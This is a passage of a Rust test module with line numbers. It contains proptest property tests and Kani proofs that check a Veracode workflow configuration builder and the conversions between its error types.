1439 }
1440
1441 #[test]
1444 fn prop_workflow_config_stores_injection_attempts(
1445 injection in injection_attack_strategy()
1446 ) {
1447 let config = WorkflowConfig::new(injection.clone(), "Sandbox".to_string());
1448 prop_assert_eq!(&config.app_name, &injection);
1449 }
1450
1451 #[test]
1453 fn prop_workflow_config_handles_oversized_strings(
1454 oversized in oversized_string_strategy()
1455 ) {
1456 let config = WorkflowConfig::new(oversized.clone(), "Sandbox".to_string());
1457 prop_assert_eq!(&config.app_name, &oversized);
1458 }
1460
1461 #[test]
1463 fn prop_workflow_config_preserves_control_chars(
1464 control_chars in control_char_strategy()
1465 ) {
1466 let config = WorkflowConfig::new(
1467 format!("App{}", control_chars),
1468 "Sandbox".to_string()
1469 );
1470 prop_assert!(config.app_name.contains(&control_chars));
1471 }
1472
1473 #[test]
1475 fn prop_workflow_config_builder_immutability(
1476 desc1 in r"[a-zA-Z ]{1,50}",
1477 desc2 in r"[a-zA-Z ]{1,50}"
1478 ) {
1479 let config1 = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1480 .with_app_description(desc1.clone());
1481 let config2 = config1.clone().with_app_description(desc2.clone());
1482
1483 prop_assert_eq!(config1.app_description.as_deref(), Some(desc1.as_str()));
1484 prop_assert_eq!(config2.app_description.as_deref(), Some(desc2.as_str()));
1485 }
1486
1487 #[test]
1489 fn prop_workflow_config_allows_empty_files(
1490 auto_scan in proptest::bool::ANY
1491 ) {
1492 let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1493 .with_auto_scan(auto_scan);
1494 prop_assert!(config.file_paths.is_empty());
1495 }
1496
1497 #[test]
1503 fn prop_workflow_error_no_sensitive_exposure(
1504 msg in r"[a-zA-Z0-9 ]{1,100}"
1505 ) {
1506 let errors = vec![
1507 WorkflowError::NotFound(msg.clone()),
1508 WorkflowError::AccessDenied(msg.clone()),
1509 WorkflowError::Workflow(msg.clone()),
1510 ];
1511
1512 for error in errors {
1513 let display = error.to_string();
1514 prop_assert!(
1516 display.contains("Not found:") ||
1517 display.contains("Access denied:") ||
1518 display.contains("Workflow error:")
1519 );
1520 }
1521 }
1522
1523 #[test]
1525 fn prop_workflow_error_from_conversions(
1526 msg in r"[a-zA-Z0-9 ]{1,100}"
1527 ) {
1528 let veracode_err = VeracodeError::InvalidResponse(msg.clone());
1529 let workflow_err: WorkflowError = veracode_err.into();
1530 #[allow(clippy::wildcard_enum_match_arm)]
1531 match workflow_err {
1532 WorkflowError::Api(_) => {
1533 },
1535 _ => prop_assert!(false, "Unexpected error variant"),
1536 }
1537 }
1538
1539 #[test]
1545 fn prop_app_name_special_chars_preserved(
1546 prefix in r"[a-zA-Z]{1,20}",
1547 special in r"[!@#$%^&*()+=\[\]:;<>,.?/|`~]{1,5}"
1548 ) {
1549 let app_name = format!("{}{}", prefix, special);
1550 let config = WorkflowConfig::new(app_name.clone(), "Sandbox".to_string());
1551 prop_assert_eq!(&config.app_name, &app_name);
1552 }
1553
1554 #[test]
1556 fn prop_sandbox_name_punctuation(
1557 base in r"[a-zA-Z]{1,20}",
1558 separator in r"[ _-]{1,3}"
1559 ) {
1560 let sandbox_name = format!("{}{}test", base, separator);
1561 let config = WorkflowConfig::new("App".to_string(), sandbox_name.clone());
1562 prop_assert_eq!(&config.sandbox_name, &sandbox_name);
1563 }
1564
1565 #[test]
1567 fn prop_file_paths_accumulation(
1568 count in 1..50usize,
1569 base_name in r"[a-zA-Z0-9_-]{1,20}"
1570 ) {
1571 let mut config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string());
1572
1573 for i in 0..count {
1574 let file_path = format!("{}{}.jar", base_name, i);
1575 config = config.with_file(file_path);
1576 }
1577
1578 prop_assert_eq!(config.file_paths.len(), count);
1579 }
1580
1581 #[test]
1583 fn prop_description_unicode_support(
1584 unicode in r"[\u{0080}-\u{00FF}]{1,50}"
1585 ) {
1586 let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1587 .with_app_description(unicode.clone());
1588 prop_assert_eq!(config.app_description.as_deref(), Some(unicode.as_str()));
1589 }
1590
1591 #[test]
1597 fn prop_workflow_config_default_consistency(
1598 app_name in valid_name_strategy(),
1599 sandbox_name in valid_name_strategy()
1600 ) {
1601 let config = WorkflowConfig::new(app_name, sandbox_name);
1602
1603 prop_assert_eq!(config.business_criticality as i32, BusinessCriticality::Medium as i32);
1604 prop_assert_eq!(config.app_description, None);
1605 prop_assert_eq!(config.sandbox_description, None);
1606 prop_assert!(config.file_paths.is_empty());
1607 prop_assert!(config.auto_scan);
1608 prop_assert!(config.scan_all_modules);
1609 }
1610
1611 #[test]
1613 fn prop_workflow_config_boolean_independence(
1614 auto_scan in proptest::bool::ANY,
1615 scan_all_modules in proptest::bool::ANY
1616 ) {
1617 let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1618 .with_auto_scan(auto_scan)
1619 .with_scan_all_modules(scan_all_modules);
1620
1621 prop_assert_eq!(config.auto_scan, auto_scan);
1622 prop_assert_eq!(config.scan_all_modules, scan_all_modules);
1623 }
1624
1625 #[test]
1631 fn prop_workflow_config_empty_names(
1632 name in r"\s*"
1633 ) {
1634 let config = WorkflowConfig::new(name.clone(), "Sandbox".to_string());
1635 prop_assert_eq!(&config.app_name, &name);
1636 }
1637
1638 #[test]
1640 fn prop_workflow_config_max_files(
1641 count in 1..1000usize
1642 ) {
1643 let files: Vec<String> = (0..count)
1644 .map(|i| format!("f{}.jar", i))
1645 .collect();
1646
1647 let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1648 .with_files(files);
1649
1650 prop_assert_eq!(config.file_paths.len(), count);
1651 }
1652
1653 #[test]
1655 fn prop_workflow_config_all_criticality_levels(
1656 level in 0..5u8
1657 ) {
1658 let criticality = match level {
1659 0 => BusinessCriticality::VeryHigh,
1660 1 => BusinessCriticality::High,
1661 2 => BusinessCriticality::Medium,
1662 3 => BusinessCriticality::Low,
1663 _ => BusinessCriticality::VeryLow,
1664 };
1665
1666 let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1667 .with_business_criticality(criticality);
1668
1669 prop_assert_eq!(config.business_criticality as i32, criticality as i32);
1670 }
1671
1672 #[test]
1678 fn prop_workflow_result_files_uploaded_bounds(
1679 files_uploaded in 0..10000usize
1680 ) {
1681 prop_assert!(files_uploaded < usize::MAX);
1684
1685 let accumulated = files_uploaded.saturating_add(1);
1687 prop_assert!(accumulated > files_uploaded || files_uploaded == usize::MAX);
1688 }
1689 }
1690}
1691
1692#[cfg(kani)]
1693mod kani_proofs {
1694 use super::*;
1695
1696 #[kani::proof]
1698 #[kani::unwind(10)]
1699 fn verify_file_count_no_overflow() {
1700 let initial_count: usize = kani::any();
1701 kani::assume(initial_count < 1000);
1702
1703 let mut config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string());
1704
1705 for i in 0..10 {
1707 let file = format!("file{}.jar", i);
1708 config = config.with_file(file);
1709 }
1710
1711 assert!(config.file_paths.len() == 10);
1713 }
1714
1715 #[kani::proof]
1717 fn verify_builder_consistency() {
1718 let app_name = String::from("TestApp");
1719 let sandbox_name = String::from("TestSandbox");
1720
1721 let config1 = WorkflowConfig::new(app_name.clone(), sandbox_name.clone());
1722 let config2 = config1
1723 .clone()
1724 .with_auto_scan(false)
1725 .with_scan_all_modules(false);
1726
1727 assert_eq!(config1.auto_scan, true);
1729 assert_eq!(config2.auto_scan, false);
1730 }
1731
1732 #[kani::proof]
1734 fn verify_deletion_policy_bounds() {
1735 let policy: u8 = kani::any();
1736
1737 if policy <= 2 {
1739 assert!(policy == 0 || policy == 1 || policy == 2);
1741 } else {
1742 assert!(policy > 2);
1745 }
1746 }
1747
1748 #[kani::proof]
1750 fn verify_error_conversion_type_safety() {
1751 let msg = String::from("test error");
1752 let veracode_err = VeracodeError::InvalidResponse(msg);
1753 let workflow_err: WorkflowError = veracode_err.into();
1754
1755 match workflow_err {
1757 WorkflowError::Api(_) => {}
1758 _ => unreachable!("Should always convert to Api variant"),
1759 }
1760 }
1761}